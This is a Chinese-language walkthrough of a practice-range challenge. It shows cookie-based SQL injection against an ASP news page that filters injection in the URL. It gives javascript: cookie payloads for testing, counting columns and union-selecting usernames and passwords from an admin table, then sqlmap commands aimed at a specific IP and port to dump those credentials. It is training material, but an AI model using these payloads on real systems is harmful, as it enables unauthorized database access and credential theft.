有个靶场上的一道题,只要在id后面进行测试,立马弹窗,得不到任何信息。
这是个很好的WAF过滤,一个asp的网页,所以用cookie注入。
asp网页能用cookie注入,php不能。
(语句执行在url地址栏里,每次注入语句执行后,都要访问对应的asp文件,才会出结果,就是刷新一下就行)
javascript:alert(document.cookie="id="+escape("171")); (注意最后面有个分号)
尝试后有弹窗
1.判断有没有注入漏洞
javascript:alert(document.cookie="id="+escape("171 and 1=1"));返回正常
javascript:alert(document.cookie="id="+escape("171 and 1=2"));返回异常
说明存在注入漏洞。
2.爆字段
javascript:alert(document.cookie="id="+escape("171 order by 1"));
..........
javascript:alert(document.cookie="id="+escape("171 order by 10"));
javascript:alert(document.cookie="id="+escape("171 order by 11"));此处错误
说明有10个字段
2.爆表名(这个网站的库已知,为admin)
javascript:alert(document.cookie="id="+escape("171 union select 1,2,3,4,5,6,7,8,9,10 from admin"));
这里发现发布者为7,发布时间为8,是最有可能查询到账号和密码的地方。
3.爆内容(网站已知账号、密码在库中分别为username、password)
javascript:alert(document.cookie="id="+escape("171 union select 1,2,3,4,5,6,username,password,9,10 from admin"));
这就出了username和password。
使用sqlmap进行cookie注入:
1.测试是否有注入点:
sqlmap.py -u"http://120.203.13.75:8001/shownews.asp" --cookie "id=171" --level 2
2.爆表
sqlmap.py -u"http://120.203.13.75:8001/shownews.asp" --cookie "id=171" --tables --level 2
3.爆列名(假设爆出admin表)
sqlmap.py -u"http://120.203.13.75:8001/shownews.asp" --cookie "id=171" --columns -T admin --level 2
4.爆内容
sqlmap.py -u"http://120.203.13.75:8001/shownews.asp" --cookie "id=171" --dump -T admin -C "username,password" --level 2